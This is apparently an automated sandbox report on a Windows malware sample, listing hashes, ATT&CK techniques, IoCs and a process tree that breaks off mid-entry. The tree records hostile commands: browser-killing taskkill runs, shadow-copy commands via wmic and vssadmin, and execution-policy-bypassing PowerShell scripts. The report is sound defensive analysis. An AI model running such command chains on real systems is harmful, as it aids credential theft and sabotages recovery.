ebd293921e8c0f7ee082ce08023a679c81e5f1693701a636c0794e244354b630

Analysis

max time kernel
150s
max time network
142s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/08/2026, 23:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe
Size 95.3MB
Sample260826-28e2zavybt
SHA256 ebd293921e8c0f7ee082ce08023a679c81e5f1693701a636c0794e244354b630
MD5 6495d8c32e4cab24dccb52b51038b850
SHA1 ea2e74f57e78aa9fe0df22efcca87f80befb6927
SHA512 20b45fcf8083a747832adab30714b3c6e5eee00d939fe6eb408469fdf27c3beee1ff834b31e053fba87bb71d65aa60d27b45c5884d9d9e4b484f71a314d40a28
SSDEEP 786432:pMKVpL0NlvnOMVDLz9/W6PD3m6klrs9wbyfAZ:pMKVSNV3z9/rmJAwbLZ
TLSH
T141287D43A2E751C8F0BBD13496DA5333A532BC454B3559EF32584B312F72AE0AB7AB11
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution impact persistence ransomware spyware stealer

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Executes dropped EXE 1 IoCs

pid	Process
2908	chrome_elf_setup.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1188	cmd.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
300	cmd.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\Application\chrome_elf_setup.exe	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_bsas0ul2.mi2.ps1	powershell.EXE
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_1me2oiqf.uln.psm1	powershell.EXE

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4252	powershell.exe
3244	powershell.exe
4988	powershell.EXE
5668	powershell.exe
5268	powershell.exe

Executes a command shell one-liner 1 TTPs 41 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5708	cmd.exe
3852	cmd.exe
2108	cmd.exe
1076	cmd.exe
5232	cmd.exe
5484	cmd.exe
4308	cmd.exe
1940	cmd.exe
1040	cmd.exe
5472	cmd.exe
2644	cmd.exe
5928	cmd.exe
1992	cmd.exe
4120	cmd.exe
612	cmd.exe
5544	cmd.exe
4996	cmd.exe
1844	cmd.exe
5220	cmd.exe
3656	cmd.exe
5444	cmd.exe
5808	cmd.exe
5664	cmd.exe
2612	cmd.exe
3816	cmd.exe
2004	cmd.exe
1500	cmd.exe
2820	cmd.exe
708	cmd.exe
2828	cmd.exe
1640	cmd.exe
5412	cmd.exe
3168	cmd.exe
4220	cmd.exe
5296	cmd.exe
4588	cmd.exe
4624	cmd.exe
4652	cmd.exe
3148	cmd.exe
4532	cmd.exe
4100	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1844	cmd.exe
1356	PING.EXE

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
6064	vssadmin.exe
4164	vssadmin.exe

Kills process with taskkill 24 IoCs

defense_evasion

pid	Process
3332	taskkill.exe
2972	taskkill.exe
4728	taskkill.exe
4392	taskkill.exe
3144	taskkill.exe
4360	taskkill.exe
2296	taskkill.exe
1588	taskkill.exe
5404	taskkill.exe
4616	taskkill.exe
6048	taskkill.exe
4648	taskkill.exe
4704	taskkill.exe
5508	taskkill.exe
3504	taskkill.exe
4216	taskkill.exe
3616	taskkill.exe
4132	taskkill.exe
5428	taskkill.exe
3924	taskkill.exe
1972	taskkill.exe
1936	taskkill.exe
2792	taskkill.exe
4264	taskkill.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1356	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2216	schtasks.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
5268	WMIC.exe
5268	WMIC.exe
5268	WMIC.exe
5268	WMIC.exe
4252	powershell.exe
4252	powershell.exe
4252	powershell.exe
3244	powershell.exe
3244	powershell.exe
3244	powershell.exe
4988	powershell.EXE
4988	powershell.EXE
4988	powershell.EXE
2128	powershell.exe
2128	powershell.exe
2128	powershell.exe
5668	powershell.exe
5668	powershell.exe
5668	powershell.exe
5268	powershell.exe
5268	powershell.exe
5268	powershell.exe
1464	WMIC.exe
1464	WMIC.exe
1464	WMIC.exe
1464	WMIC.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4392	taskkill.exe
Token: SeDebugPrivilege	1972	taskkill.exe
Token: SeDebugPrivilege	1936	taskkill.exe
Token: SeDebugPrivilege	2792	taskkill.exe
Token: SeDebugPrivilege	3616	taskkill.exe
Token: SeDebugPrivilege	6048	taskkill.exe
Token: SeDebugPrivilege	4648	taskkill.exe
Token: SeIncreaseQuotaPrivilege	5268	WMIC.exe
Token: SeSecurityPrivilege	5268	WMIC.exe
Token: SeTakeOwnershipPrivilege	5268	WMIC.exe
Token: SeLoadDriverPrivilege	5268	WMIC.exe
Token: SeSystemProfilePrivilege	5268	WMIC.exe
Token: SeSystemtimePrivilege	5268	WMIC.exe
Token: SeProfSingleProcessPrivilege	5268	WMIC.exe
Token: SeIncBasePriorityPrivilege	5268	WMIC.exe
Token: SeCreatePagefilePrivilege	5268	WMIC.exe
Token: SeBackupPrivilege	5268	WMIC.exe
Token: SeRestorePrivilege	5268	WMIC.exe
Token: SeShutdownPrivilege	5268	WMIC.exe
Token: SeDebugPrivilege	5268	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5268	WMIC.exe
Token: SeRemoteShutdownPrivilege	5268	WMIC.exe
Token: SeUndockPrivilege	5268	WMIC.exe
Token: SeManageVolumePrivilege	5268	WMIC.exe
Token: 33	5268	WMIC.exe
Token: 34	5268	WMIC.exe
Token: 35	5268	WMIC.exe
Token: 36	5268	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5268	WMIC.exe
Token: SeSecurityPrivilege	5268	WMIC.exe
Token: SeTakeOwnershipPrivilege	5268	WMIC.exe
Token: SeLoadDriverPrivilege	5268	WMIC.exe
Token: SeSystemProfilePrivilege	5268	WMIC.exe
Token: SeSystemtimePrivilege	5268	WMIC.exe
Token: SeProfSingleProcessPrivilege	5268	WMIC.exe
Token: SeIncBasePriorityPrivilege	5268	WMIC.exe
Token: SeCreatePagefilePrivilege	5268	WMIC.exe
Token: SeBackupPrivilege	5268	WMIC.exe
Token: SeRestorePrivilege	5268	WMIC.exe
Token: SeShutdownPrivilege	5268	WMIC.exe
Token: SeDebugPrivilege	5268	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5268	WMIC.exe
Token: SeRemoteShutdownPrivilege	5268	WMIC.exe
Token: SeUndockPrivilege	5268	WMIC.exe
Token: SeManageVolumePrivilege	5268	WMIC.exe
Token: 33	5268	WMIC.exe
Token: 34	5268	WMIC.exe
Token: 35	5268	WMIC.exe
Token: 36	5268	WMIC.exe
Token: SeBackupPrivilege	5452	vssvc.exe
Token: SeRestorePrivilege	5452	vssvc.exe
Token: SeAuditPrivilege	5452	vssvc.exe
Token: SeDebugPrivilege	4264	taskkill.exe
Token: SeDebugPrivilege	4704	taskkill.exe
Token: SeDebugPrivilege	3144	taskkill.exe
Token: SeDebugPrivilege	5508	taskkill.exe
Token: SeDebugPrivilege	4252	powershell.exe
Token: SeDebugPrivilege	3244	powershell.exe
Token: SeDebugPrivilege	4988	powershell.EXE
Token: SeDebugPrivilege	2128	powershell.exe
Token: SeDebugPrivilege	5668	powershell.exe
Token: SeDebugPrivilege	5268	powershell.exe
Token: SeIncreaseQuotaPrivilege	1464	WMIC.exe
Token: SeSecurityPrivilege	1464	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2448 wrote to memory of 4220	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	89
PID 4220 wrote to memory of 2668	4220	cmd.exe	91
PID 2668 wrote to memory of 3732	2668	net.exe	92
PID 2448 wrote to memory of 4996	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	93
PID 4996 wrote to memory of 3460	4996	cmd.exe	95
PID 3460 wrote to memory of 4100	3460	net.exe	96
PID 2448 wrote to memory of 2644	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	97
PID 2644 wrote to memory of 4392	2644	cmd.exe	99
PID 2448 wrote to memory of 4652	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	101
PID 4652 wrote to memory of 1972	4652	cmd.exe	103
PID 2448 wrote to memory of 3148	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	104
PID 3148 wrote to memory of 1936	3148	cmd.exe	106
PID 2448 wrote to memory of 2004	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	107
PID 2004 wrote to memory of 2792	2004	cmd.exe	109
PID 2448 wrote to memory of 3852	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	110
PID 3852 wrote to memory of 3616	3852	cmd.exe	112
PID 2448 wrote to memory of 1500	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	113
PID 1500 wrote to memory of 6048	1500	cmd.exe	115
PID 2448 wrote to memory of 2108	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	116
PID 2108 wrote to memory of 4648	2108	cmd.exe	118
PID 2448 wrote to memory of 4624	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	119
PID 4624 wrote to memory of 5268	4624	cmd.exe	121
PID 2448 wrote to memory of 2828	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	126
PID 2828 wrote to memory of 6064	2828	cmd.exe	128
PID 2448 wrote to memory of 5928	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	129
PID 5928 wrote to memory of 4264	5928	cmd.exe	131
PID 2448 wrote to memory of 1992	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	132
PID 1992 wrote to memory of 4704	1992	cmd.exe	134
PID 2448 wrote to memory of 3816	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	135
PID 3816 wrote to memory of 3144	3816	cmd.exe	137
PID 2448 wrote to memory of 1076	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	138
PID 1076 wrote to memory of 5508	1076	cmd.exe	140
PID 2448 wrote to memory of 5232	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	141
PID 5232 wrote to memory of 4252	5232	cmd.exe	143
PID 2448 wrote to memory of 5484	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	144
PID 5484 wrote to memory of 3244	5484	cmd.exe	146
PID 2448 wrote to memory of 4120	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	147
PID 4120 wrote to memory of 1584	4120	cmd.exe	149
PID 1584 wrote to memory of 3308	1584	csc.exe	150
PID 2448 wrote to memory of 4308	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	151
PID 4308 wrote to memory of 3808	4308	cmd.exe	153
PID 3808 wrote to memory of 3376	3808	csc.exe	154
PID 2448 wrote to memory of 1640	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	155
PID 1640 wrote to memory of 2908	1640	cmd.exe	157
PID 2448 wrote to memory of 612	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	160
PID 612 wrote to memory of 2216	612	cmd.exe	162
PID 2448 wrote to memory of 5296	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	163
PID 5296 wrote to memory of 3096	5296	cmd.exe	165
PID 2448 wrote to memory of 1844	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	168
PID 1844 wrote to memory of 1356	1844	cmd.exe	170
PID 2448 wrote to memory of 1188	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	173
PID 1188 wrote to memory of 3436	1188	cmd.exe	175
PID 2448 wrote to memory of 5544	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	176
PID 5544 wrote to memory of 5668	5544	cmd.exe	178
PID 2448 wrote to memory of 1040	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	179
PID 1040 wrote to memory of 5268	1040	cmd.exe	181
PID 2448 wrote to memory of 4532	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	182
PID 4532 wrote to memory of 4164	4532	cmd.exe	184
PID 2448 wrote to memory of 5472	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	185
PID 5472 wrote to memory of 1464	5472	cmd.exe	187
PID 2448 wrote to memory of 5708	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	188
PID 5708 wrote to memory of 4132	5708	cmd.exe	190
PID 2448 wrote to memory of 5220	2448	2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe	191
PID 5220 wrote to memory of 4616	5220	cmd.exe	193

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5236	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-25_6495d8c32e4cab24dccb52b51038b850_akira_glassworm_icedid_megazord_njrat_quasar-rat_rusty-s.exe"
1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4220
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2668
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4996
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3460
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2644
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4652
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3148
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM brave.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2004
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3852
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vivaldi.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe /T 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1500
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM browser.exe /T 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2108
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM browser.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic shadowcopy call create Volume=C:\"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4624
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy call create Volume=C:\
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "vssadmin list shadows"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\system32\vssadmin.exe
    vssadmin list shadows
    3⤵
    - Interacts with shadow copies
    PID:6064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5928
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3816
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3144
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1076
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\ck_1787786141234\dp_4kqcr75b.ps1""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\ck_1787786141234\dp_4kqcr75b.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\ck_1787786141234\dp_slw2ioej.ps1""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\ck_1787786141234\dp_slw2ioej.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3244
- C:\Windows\system32\cmd.exe
